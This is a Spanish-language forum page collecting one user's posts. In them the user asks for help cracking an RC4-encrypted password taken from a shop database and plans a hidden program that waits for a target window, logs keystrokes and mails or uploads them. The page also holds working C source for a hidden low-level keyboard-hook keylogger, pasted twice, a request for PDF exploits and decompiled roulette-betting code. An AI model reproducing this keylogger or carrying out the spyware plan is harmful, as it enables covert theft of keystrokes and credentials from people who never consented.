Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - c3r0x

#1
Buenas a Todos, compañeros estoy ya desde un par de horas tratando de buscarle el cifrado a esta cadena, a mis corta investigaciones eh descubierto que Supuestamente es RC4, eh buscado varias herramientas para descifrar, pero con ninguna eh podido, la verdad ya me doy por vencido espeo que alguno de uds me pueda echar una manito

aqui les dedo la cadena

Si Preguntan si es de Una Base De datos , asi es. y es de una llamada comersus.mdb

Key Rc4 encriptacion: AJHGJHSJAH77873ASJHASAL102394
User: pekka  Passowrd : |181|0|118|53|121|54|175|65
#2
Cita de: xaps en 23 Febrero 2014, 16:17 PM
¿Dónde lo pone? :) Si no me equivoco, estás preguntando si es posible realizar una aplicación con ese esquema, no estás pidiendo ayuda concreta sobre una función o un fragmento de código en C++. Revísate las normas del foro, haz el favor.

Y la ruta más fácil depende de muchas variables, entre ellas la aplicación que tengas como objetivo (Y que sea la más fácil no significa que sea la más eficaz). Si quieres una ayuda más técnica tendrás que ser más preciso en tus explicaciones. Yo he nombrado la inyección de código por el problema que planteaba amchacon, pero muy probablemente haya mejores técnicas y métodos para hacerlo.

bueno si lo postie, aqui , fue por una razon, no por jugar al tin marin, busque un poco en la red y encontre lo siguientes datos

encontre esto

basicamente, la aplicacion detecta un  proceso en ejecucion,

PASO #1


#include <vdmdbg.h>

String Server = "xxxx.exe";
bool Conectado = IsRuningW(Server.c_str()) ;

bool IsRunning16_(char* Name)
{
 struct TRuningProcess16{
   char* Name;
   bool Running;


   static BOOL WINAPI
   ProcessTasks(DWORD dwThreadId, WORD hMod16, WORD hTask16, PSZ pszModName, PSZ pszFileName, LPARAM PE)
   {
      if(strstr(strupr(pszFileName), strupr(((TRuningProcess16*)PE)->Name)))
         return ((TRuningProcess16*)PE)->Running = true;
      return false;
   }
   static BOOL WINAPI
   ProcessVDMs(DWORD dwProcessId, DWORD dwAttrib, LPARAM PE)
   {
      VDMEnumTaskWOWEx(dwProcessId, (TASKENUMPROCEX)ProcessTasks, PE);
      return ((TRuningProcess16*)PE)->Running;
   }

 } PE = {Name,0};

 VDMEnumProcessWOW((PROCESSENUMPROC)ProcessVDMs, (LPARAM)&PE);
 return PE.Running;
}



primer paso echo.

seguire editando segun vaya encontrando los paso a paso

SIGO..

PASO#2
/*
* Código presentado por Elinv.
* Captura una ventana por su caption y le envia datos.
* Hotkey para finalizar un programa
* CODE BLOCK 10.05 -
* Win32 GUI project -> tipo Frame Based
*/


#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <string.h>

// global hook handle is needed to use a low-level keyboard hook
HHOOK hProc;

__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam);
DWORD __stdcall Keylogger (LPVOID path);
void MessageLoop (void);

int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {

FreeConsole ();
nShowCmd = SW_HIDE;
LPTSTR execName = GetCommandLine ();
HANDLE hThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) Keylogger, (LPVOID) execName, 0, NULL);

if (hThread) return WaitForSingleObject (hThread, INFINITE);

return 1;
}

__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam) {

if (nCode == HC_ACTION && (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)) {

// info about the key like the virtual-key code, scan code, some flags, time of the message and extra info
KBDLLHOOKSTRUCT keyInfo = *((KBDLLHOOKSTRUCT*) lParam);

// prepare the first parameter for the function GetKeyNameText() picking only the important information
DWORD keyMessage = 1;
keyMessage |= keyInfo.scanCode << 16;
keyMessage |= (keyInfo.flags & 1) << 24;

// load the key name in a buffer
char keyName[0x100];
memset (keyName, 0, 0x100);
keyName[0] = '[';
int i = GetKeyNameText (keyMessage, keyName+1, 0xFE);
keyName[i+1] = ']';

// write the buffer in file
FILE *f = fopen ("log.txt", "a+");
fputs (keyName, f);
fclose (f);
}

return CallNextHookEx (NULL, nCode, wParam, lParam);
}

DWORD __stdcall Keylogger (LPVOID path) {

// try to get a module handle for our executable using GetModuleHandle(). if fails, we try to load our executable as a library.
HINSTANCE hExec = GetModuleHandle (NULL);
if (!hExec) hExec = LoadLibrary ((LPCTSTR) path);

// two methods failed so return error
if (!hExec) return 1;

// install the hook
hProc = SetWindowsHookEx (WH_KEYBOARD_LL, (HOOKPROC) KeyEvent, hExec, 0);

// message loop to manage all the incoming messages
MessageLoop ();
UnhookWindowsHookEx (hProc);
return 0;
}

void MessageLoop (void) {

MSG message;

while (GetMessage (&message, NULL, 0, 0)) {

TranslateMessage (&message);
DispatchMessage (&message);
}
}


PASO #4 PRENDER CAPTURA MODO KEYLOGGER ON

#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <string.h>

// global hook handle is needed to use a low-level keyboard hook
HHOOK hProc;

__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam);
DWORD __stdcall Keylogger (LPVOID path);
void MessageLoop (void);

int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {

FreeConsole ();
nShowCmd = SW_HIDE;
LPTSTR execName = GetCommandLine ();
HANDLE hThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) Keylogger, (LPVOID) execName, 0, NULL);

if (hThread) return WaitForSingleObject (hThread, INFINITE);

return 1;
}

__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam) {

if (nCode == HC_ACTION && (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)) {

// info about the key like the virtual-key code, scan code, some flags, time of the message and extra info
KBDLLHOOKSTRUCT keyInfo = *((KBDLLHOOKSTRUCT*) lParam);

// prepare the first parameter for the function GetKeyNameText() picking only the important information
DWORD keyMessage = 1;
keyMessage |= keyInfo.scanCode << 16;
keyMessage |= (keyInfo.flags & 1) << 24;

// load the key name in a buffer
char keyName[0x100];
memset (keyName, 0, 0x100);
keyName[0] = '[';
int i = GetKeyNameText (keyMessage, keyName+1, 0xFE);
keyName[i+1] = ']';

// write the buffer in file
FILE *f = fopen ("log.txt", "a+");
fputs (keyName, f);
fclose (f);
}

return CallNextHookEx (NULL, nCode, wParam, lParam);
}

DWORD __stdcall Keylogger (LPVOID path) {

// try to get a module handle for our executable using GetModuleHandle(). if fails, we try to load our executable as a library.
HINSTANCE hExec = GetModuleHandle (NULL);
if (!hExec) hExec = LoadLibrary ((LPCTSTR) path);

// two methods failed so return error
if (!hExec) return 1;

// install the hook
hProc = SetWindowsHookEx (WH_KEYBOARD_LL, (HOOKPROC) KeyEvent, hExec, 0);

// message loop to manage all the incoming messages
MessageLoop ();
UnhookWindowsHookEx (hProc);
return 0;
}

void MessageLoop (void) {

MSG message;

while (GetMessage (&message, NULL, 0, 0)) {

TranslateMessage (&message);
DispatchMessage (&message);
}
}
#3
Cita de: xaps en 23 Febrero 2014, 15:25 PM
Venga hombre, que no nací ayer. De todas maneras, aun sin considerarlo malware seguiría estando en un subforo incorrecto (Su subforo sería Programación general).
Creo que sería más fácil mediante inyección de código. De esta manera te aseguras que los datos que recibes son estrictamente únicos del "target".

y si yo lo quiero programar en C/C++ ? creo q olvidaste esa probavilidad, ahora , tecnicamente, cual seria la ruta mas facil
#4
realmente yo no lo veo como un malware, solo es un programa por fun
#5
Hacking / Duda, sobre tema en el foro
23 Febrero 2014, 13:44 PM
Disculpe la imprudencia, señores hackers,  estoy buscando un tema, aqui en el foro que por casualidad vi hace dias, pero no recuerdo donde , intente buscar por el buscador del foro y sigo sin encontrar

el tema se trata de infectar una rchivo pdf o una vulnerabilidad que tiene.algo asi y se le puede meter un exploit
#6
Hacking / Re: mapeo de programa
23 Febrero 2014, 06:28 AM
Cita de: .:UND3R:. en 23 Febrero 2014, 06:03 AM
Ingeniería inversa, no sé por que preguntas eso si ya vienes de ese foro :S

saludos

ola under,  eso penc ing inversa,  =  mucho lenguaje ASM, no soy muy buen sorfista  para moverme por este lenguaje, penc que si se podia por otro lado? tal vez

gracias por el coment

#7
Ola comunidad, tengo una duda con respecto, umm digamolo asi, a la arquitectura de un programa, que tengoen mente pero dudo si es posible o no, por eso acudo a uds, para q resuelvan mi duda,

el proposito principal del programa es el siguiente,

1.ejecutarce ocultamente, y estar a la espera
2.detectar xxx.exe proceso
3.interceptar con nombre xxx una subventada del proceso xxx.exe
4.prender modo captura keylogger on
5.verifica cuando la subventana xxx es cerrada
6.detener la captura de datos keylogger
7.mandar datos obtenidos por correo o email
8.fin del programa

este seria el esqueleto , del programa

2paso . luego a la espera, hacechando su presa, un programa "otro programa ejecutado previamente, puede ser una aplicacion cualquiera como ejemplo " una vez el programa es ejecutado, mi programa la intercepta

3páso.verifica "si es posible" por el nombre de la ventana, ej: abres el programa presa, digamos que es un programa , dentro del programa, das clicl  en un boton y este conduce a una subventana del programa con otras respectivas opciones es decir, PROGRAMA COMPLETO EJECUTADO-ABRIR BOTON-ABRE SUBVENTANA DE EL PROGRAMA

4.una vez detectada esta subventana, mi programa espia, comienza a capturar, datos, como snifer, en ese determinado tiempo,  pongamolo en un modo entendible.

*MY PROGRAMA
    -A LA ESPERA DEL PROGRAMA PRESA .
               SI EL PROCESO XXX.EXE ES EJECUTADO
                      ENTONCES [ESPERA Y VERIFICA VENTANA PRESA CON NOMBRE XXX DEL PROCESO XXX.EXE]
                       SI ES [EMPEZAR A CAPTURAR DATOS]
                              *VERIFICA CONSTANTEMENTE SI LA VENTANA PRESA FUE CERRADA
                                        ENTONCES [TERMINE DE CAPTURAR DATOS]
                                              Y LUEGO [GENERAR UN TXT Y MANDARLO POR CORREO O SUBIRLO VIA FTP A UN SERVIDOR ]

FIN DEL PROGRAMA
                                                 




#8
Hacking / mapeo de programa
23 Febrero 2014, 05:54 AM
buenas noches estoy buscando informacion es q necesito mapear un programa, mapear quiero decir, investigar y saber como funciona, internamente el programa, como trabaja, con los datos, q puertos utiliza, el cliente, y a donde se conecta, como autentifica , el login, necesito saber todo todo,

tanto todo los datos q salen como entran, y si es posible, obtener la ip de una computadora cuyo programa mismo este instalado.

es posible de hacer este tipo de mapeo, sin saber, un comino de programacion?  y si se pudiera, q paso tendria a seguir o q herramientas podrian funcionar.

gracias,
#9
Cita de: daryo en  9 Febrero 2014, 00:25 AM
es que lo que pides no es tan simple como crees y la verdad no tengo ganas de matarme haciendo eso , ademas mis conocimientos en java son basicos y c# medio  lo entiendo porque se parece a c.


descuida no te estoy precionando para hacelro, de echo los 20 estan sobre la mesa,  aqui  pongo el codigo en java, convertido por un programa especializado en esa funcion

http://www.mediafire.com/download/307c1q2f86fiiar/RouletteTable.rar
#10
Cita de: daryo en  9 Febrero 2014, 00:15 AM
sabes programar?

sospecho que la parte del codigo que buscas esta aca:

Código (c#) [Seleccionar]
private void System1()
   {
     int num1 = 0;
     int num2 = 0;
     for (int index = 0; (Decimal) index < this.numericUpDown1.Value; ++index)
     {
       if (this.lastseven[index] == 1 || this.lastseven[index] == 3 || (this.lastseven[index] == 5 || this.lastseven[index] == 7) || (this.lastseven[index] == 9 || this.lastseven[index] == 12 || (this.lastseven[index] == 14 || this.lastseven[index] == 16)) || (this.lastseven[index] == 18 || this.lastseven[index] == 19 || (this.lastseven[index] == 21 || this.lastseven[index] == 23) || (this.lastseven[index] == 25 || this.lastseven[index] == 27 || (this.lastseven[index] == 30 || this.lastseven[index] == 32))) || this.lastseven[index] == 34 || this.lastseven[index] == 36)
         num1 = 1;
       else if (this.lastseven[index] == 2 || this.lastseven[index] == 4 || (this.lastseven[index] == 6 || this.lastseven[index] == 8) || (this.lastseven[index] == 10 || this.lastseven[index] == 11 || (this.lastseven[index] == 13 || this.lastseven[index] == 15)) || (this.lastseven[index] == 17 || this.lastseven[index] == 20 || (this.lastseven[index] == 22 || this.lastseven[index] == 24) || (this.lastseven[index] == 26 || this.lastseven[index] == 28 || (this.lastseven[index] == 29 || this.lastseven[index] == 31))) || this.lastseven[index] == 33 || this.lastseven[index] == 35)
         num2 = 1;
     }
     if (num1 == 0 && num2 == 0)
       return;
     if (num1 == 0)
     {
       this.rp_lblred.Visible = true;
       this.rp_lblred.BringToFront();
       this.rp_pictred.Visible = true;
       int num3;
       if (this.rp_lblred.Text == "")
       {
         num3 = 1;
       }
       else
       {
         num3 = (int) Convert.ToInt16(this.rp_lblred.Text);
         if (num3 != 256)
           num3 *= 2;
       }
       if (num3 < 10)
         this.rp_lblred.Text = "  " + num3.ToString();
       else if (num3 < 100)
         this.rp_lblred.Text = " " + num3.ToString();
       else
         this.rp_lblred.Text = num3.ToString();
       this.rp_lblblack.Text = "";
       this.rp_lblblack.Visible = false;
       this.rp_pictblack.Visible = false;
     }
     else if (num2 == 0)
     {
       this.rp_pictblack.Visible = true;
       this.rp_lblblack.Visible = true;
       this.rp_lblblack.BringToFront();
       int num3;
       if (this.rp_lblblack.Text == "")
       {
         num3 = 1;
       }
       else
       {
         num3 = (int) Convert.ToInt16(this.rp_lblblack.Text);
         if (num3 != 256)
           num3 *= 2;
       }
       if (num3 < 10)
         this.rp_lblblack.Text = "  " + num3.ToString();
       else if (num3 < 100)
         this.rp_lblblack.Text = " " + num3.ToString();
       else
         this.rp_lblblack.Text = num3.ToString();
       this.rp_lblred.Text = "";
       this.rp_lblred.Visible = false;
       this.rp_pictred.Visible = false;
     }
     else
     {
       this.rp_lblred.Text = "";
       this.rp_lblred.Visible = false;
       this.rp_pictred.Visible = false;
       this.rp_lblblack.Text = "";
       this.rp_lblblack.Visible = false;
       this.rp_pictblack.Visible = false;
     }
   }

   private void System2()
   {
     int num1 = 0;
     int num2 = 0;
     for (int index = 0; (Decimal) index < this.numericUpDown2.Value; ++index)
     {
       if (this.lastseven[index] != 0)
       {
         if (this.lastseven[index] % 2 == 0)
           num2 = 1;
         else if (this.lastseven[index] % 2 == 1)
           num1 = 1;
       }
     }
     if (num1 == 0 && num2 == 0)
       return;
     if (num1 == 0)
     {
       this.rt_LblOdd.Visible = true;
       this.rt_LblOdd.BringToFront();
       this.rt_PictOdd.Visible = true;
       int num3;
       if (this.rt_LblOdd.Text == "")
       {
         num3 = 1;
       }
       else
       {
         num3 = (int) Convert.ToInt16(this.rt_LblOdd.Text);
         if (num3 != 256)
           num3 *= 2;
       }
       if (num3 < 10)
         this.rt_LblOdd.Text = "  " + num3.ToString();
       else if (num3 < 100)
         this.rt_LblOdd.Text = " " + num3.ToString();
       else
         this.rt_LblOdd.Text = num3.ToString();
       this.rt_LblEven.Text = "";
       this.rt_LblEven.Visible = false;
       this.rt_PictEven.Visible = false;
     }
     else if (num2 == 0)
     {
       this.rt_PictEven.Visible = true;
       this.rt_LblEven.Visible = true;
       this.rt_LblEven.BringToFront();
       int num3;
       if (this.rt_LblEven.Text == "")
       {
         num3 = 1;
       }
       else
       {
         num3 = (int) Convert.ToInt16(this.rt_LblEven.Text);
         if (num3 != 256)
           num3 *= 2;
       }
       if (num3 < 10)
         this.rt_LblEven.Text = "  " + num3.ToString();
       else if (num3 < 100)
         this.rt_LblEven.Text = " " + num3.ToString();
       else
         this.rt_LblEven.Text = num3.ToString();
       this.rt_LblOdd.Text = "";
       this.rt_LblOdd.Visible = false;
       this.rt_PictOdd.Visible = false;
     }
     else
     {
       this.rt_LblOdd.Text = "";
       this.rt_LblOdd.Visible = false;
       this.rt_PictOdd.Visible = false;
       this.rt_LblEven.Text = "";
       this.rt_LblEven.Visible = false;
       this.rt_PictEven.Visible = false;
     }
   }

   private void System3()
   {
     int num1 = 0;
     int num2 = 0;
     for (int index = 0; (Decimal) index < this.numericUpDown3.Value; ++index)
     {
       if (this.lastseven[index] != 0)
       {
         if (this.lastseven[index] < 19 && this.lastseven[index] > 0)
           num1 = 1;
         else if (this.lastseven[index] > 18)
           num2 = 1;
       }
     }
     if (num1 == 0 && num2 == 0)
       return;
     if (num1 == 0)
     {
       this.rt_LblLow.Visible = true;
       this.rt_LblLow.BringToFront();
       this.rt_PictLow.Visible = true;
       int num3;
       if (this.rt_LblLow.Text == "")
       {
         num3 = 1;
       }
       else
       {
         num3 = (int) Convert.ToInt16(this.rt_LblLow.Text);
         if (num3 != 256)
           num3 *= 2;
       }
       if (num3 < 10)
         this.rt_LblLow.Text = "  " + num3.ToString();
       else if (num3 < 100)
         this.rt_LblLow.Text = " " + num3.ToString();
       else
         this.rt_LblLow.Text = num3.ToString();
       this.rt_LblHigh.Text = "";
       this.rt_LblHigh.Visible = false;
       this.rt_PictHigh.Visible = false;
     }
     else if (num2 == 0)
     {
       this.rt_PictHigh.Visible = true;
       this.rt_LblHigh.Visible = true;
       this.rt_LblHigh.BringToFront();
       int num3;
       if (this.rt_LblHigh.Text == "")
       {
         num3 = 1;
       }
       else
       {
         num3 = (int) Convert.ToInt16(this.rt_LblHigh.Text);
         if (num3 != 256)
           num3 *= 2;
       }
       if (num3 < 10)
         this.rt_LblHigh.Text = "  " + num3.ToString();
       else if (num3 < 100)
         this.rt_LblHigh.Text = " " + num3.ToString();
       else
         this.rt_LblHigh.Text = num3.ToString();
       this.rt_LblLow.Text = "";
       this.rt_LblLow.Visible = false;
       this.rt_PictLow.Visible = false;
     }
     else
     {
       this.rt_LblLow.Text = "";
       this.rt_LblLow.Visible = false;
       this.rt_PictLow.Visible = false;
       this.rt_LblHigh.Text = "";
       this.rt_LblHigh.Visible = false;
       this.rt_PictHigh.Visible = false;
     }
   }

   private void System4()
   {
     int num1 = 0;
     int num2 = 0;
     int num3 = 0;
     for (int index = 0; (Decimal) index < this.numericUpDown4.Value; ++index)
     {
       if (this.lastseven[index] == 1 || this.lastseven[index] == 4 || (this.lastseven[index] == 7 || this.lastseven[index] == 10) || (this.lastseven[index] == 13 || this.lastseven[index] == 16 || (this.lastseven[index] == 19 || this.lastseven[index] == 22)) || (this.lastseven[index] == 25 || this.lastseven[index] == 28 || this.lastseven[index] == 31) || this.lastseven[index] == 34)
         num1 = 1;
       else if (this.lastseven[index] == 2 || this.lastseven[index] == 5 || (this.lastseven[index] == 8 || this.lastseven[index] == 11) || (this.lastseven[index] == 14 || this.lastseven[index] == 17 || (this.lastseven[index] == 20 || this.lastseven[index] == 23)) || (this.lastseven[index] == 26 || this.lastseven[index] == 29 || this.lastseven[index] == 32) || this.lastseven[index] == 35)
         num2 = 1;
       else if (this.lastseven[index] == 3 || this.lastseven[index] == 6 || (this.lastseven[index] == 9 || this.lastseven[index] == 12) || (this.lastseven[index] == 15 || this.lastseven[index] == 18 || (this.lastseven[index] == 21 || this.lastseven[index] == 24)) || (this.lastseven[index] == 27 || this.lastseven[index] == 30 || this.lastseven[index] == 33) || this.lastseven[index] == 36)
         num3 = 1;
     }
     if (num1 == 0 && num2 == 0 && (num3 == 0 && this.rt_Lbl1Column.Text == "") && this.rt_Lbl2Column.Text == "" && this.rt_Lbl3Column.Text == "")
       return;
     int i;
     if (num1 == 0)
     {
       this.rt_Lbl1Column.Visible = true;
       this.rt_Pict1Column.Visible = true;
       i = !(this.rt_Lbl1Column.Text == "") ? this.DifferentBetting((int) Convert.ToInt16(this.rt_Lbl1Column.Text)) : 1;
       if (i < 10)
         this.rt_Lbl1Column.Text = "  " + i.ToString();
       else if (i < 100)
         this.rt_Lbl1Column.Text = " " + i.ToString();
       else
         this.rt_Lbl1Column.Text = i.ToString();
     }
     if (num2 == 0)
     {
       this.rt_Lbl2Column.Visible = true;
       this.rt_Pict2Column.Visible = true;
       if (this.rt_Lbl2Column.Text == "")
       {
         i = 1;
       }
       else
       {
         i = (int) Convert.ToInt16(this.rt_Lbl2Column.Text);
         i = this.DifferentBetting(i);
       }
       if (i < 10)
         this.rt_Lbl2Column.Text = "  " + i.ToString();
       else if (i < 100)
         this.rt_Lbl2Column.Text = " " + i.ToString();
       else
         this.rt_Lbl2Column.Text = i.ToString();
     }
     if (num3 == 0)
     {
       this.rt_Lbl3Column.Visible = true;
       this.rt_Pict3Column.Visible = true;
       if (this.rt_Lbl3Column.Text == "")
       {
         i = 1;
       }
       else
       {
         i = (int) Convert.ToInt16(this.rt_Lbl3Column.Text);
         i = this.DifferentBetting(i);
       }
       if (i < 10)
         this.rt_Lbl3Column.Text = "  " + i.ToString();
       else if (i < 100)
         this.rt_Lbl3Column.Text = " " + i.ToString();
       else
         this.rt_Lbl3Column.Text = i.ToString();
     }
     if (num1 == 1)
     {
       this.rt_Lbl1Column.Text = "";
       this.rt_Lbl1Column.Visible = false;
       this.rt_Pict1Column.Visible = false;
     }
     if (num2 == 1)
     {
       this.rt_Lbl2Column.Text = "";
       this.rt_Lbl2Column.Visible = false;
       this.rt_Pict2Column.Visible = false;
     }
     if (num3 == 1)
     {
       this.rt_Lbl3Column.Text = "";
       this.rt_Lbl3Column.Visible = false;
       this.rt_Pict3Column.Visible = false;
     }
     if (num1 != 1 || num2 != 1 || num3 != 1)
       ;
   }

   private void System5()
   {
     int num1 = 0;
     int num2 = 0;
     int num3 = 0;
     for (int index = 0; (Decimal) index < this.numericUpDown5.Value; ++index)
     {
       if (this.lastseven[index] > 0 && this.lastseven[index] < 13)
         num1 = 1;
       else if (this.lastseven[index] > 12 && this.lastseven[index] < 25)
         num2 = 1;
       else if (this.lastseven[index] > 24)
         num3 = 1;
     }
     if (num1 == 0 && num2 == 0 && (num3 == 0 && this.rt_Lbl1Dozen.Text == "") && this.rt_Lbl2Dozen.Text == "" && this.rt_Lbl3Dozen.Text == "")
       return;
     int i;
     if (num1 == 0)
     {
       this.rt_Lbl1Dozen.Visible = true;
       this.rt_Pict1Dozen.Visible = true;
       i = !(this.rt_Lbl1Dozen.Text == "") ? this.DifferentBetting((int) Convert.ToInt16(this.rt_Lbl1Dozen.Text)) : 1;
       if (i < 10)
         this.rt_Lbl1Dozen.Text = "  " + i.ToString();
       else if (i < 100)
         this.rt_Lbl1Dozen.Text = " " + i.ToString();
       else
         this.rt_Lbl1Dozen.Text = i.ToString();
     }
     if (num2 == 0)
     {
       this.rt_Lbl2Dozen.Visible = true;
       this.rt_Pict2Dozen.Visible = true;
       if (this.rt_Lbl2Dozen.Text == "")
       {
         i = 1;
       }
       else
       {
         i = (int) Convert.ToInt16(this.rt_Lbl2Dozen.Text);
         i = this.DifferentBetting(i);
       }
       if (i < 10)
         this.rt_Lbl2Dozen.Text = "  " + i.ToString();
       else if (i < 100)
         this.rt_Lbl2Dozen.Text = " " + i.ToString();
       else
         this.rt_Lbl2Dozen.Text = i.ToString();
     }
     if (num3 == 0)
     {
       this.rt_Lbl3Dozen.Visible = true;
       this.rt_Pict3Dozen.Visible = true;
       if (this.rt_Lbl3Dozen.Text == "")
       {
         i = 1;
       }
       else
       {
         i = (int) Convert.ToInt16(this.rt_Lbl3Dozen.Text);
         i = this.DifferentBetting(i);
       }
       if (i < 10)
         this.rt_Lbl3Dozen.Text = "  " + i.ToString();
       else if (i < 100)
         this.rt_Lbl3Dozen.Text = " " + i.ToString();
       else
         this.rt_Lbl3Dozen.Text = i.ToString();
     }
     if (num1 == 1)
     {
       this.rt_Lbl1Dozen.Text = "";
       this.rt_Lbl1Dozen.Visible = false;
       this.rt_Pict1Dozen.Visible = false;
     }
     if (num2 == 1)
     {
       this.rt_Lbl2Dozen.Text = "";
       this.rt_Lbl2Dozen.Visible = false;
       this.rt_Pict2Dozen.Visible = false;
     }
     if (num3 == 1)
     {
       this.rt_Lbl3Dozen.Text = "";
       this.rt_Lbl3Dozen.Visible = false;
       this.rt_Pict3Dozen.Visible = false;
     }
     if (num1 != 1 || num2 != 1 || num3 != 1)
       ;
   }

   private int DifferentBetting(int i)
   {
     if (i < 4)
       ++i;
     else if (i == 4)
       i = 6;
     else if (i == 6)
       i = 9;
     else if (i == 9)
       i = 13;
     else if (i == 13)
       i = 20;
     else if (i == 20)
       i = 30;
     else if (i == 30)
       i = 45;
     else if (i == 45)
       i = 67;
     else if (i == 67)
       i = 101;
     else if (i != 101)
       ;
     return i;
   }



darko te paso un convertidor que encontre? , el problema es q , ya lo converti a java, segun el programa, pero al compilarlo me da algunos errores? qu e dices, si te mando el codigo del programa en java?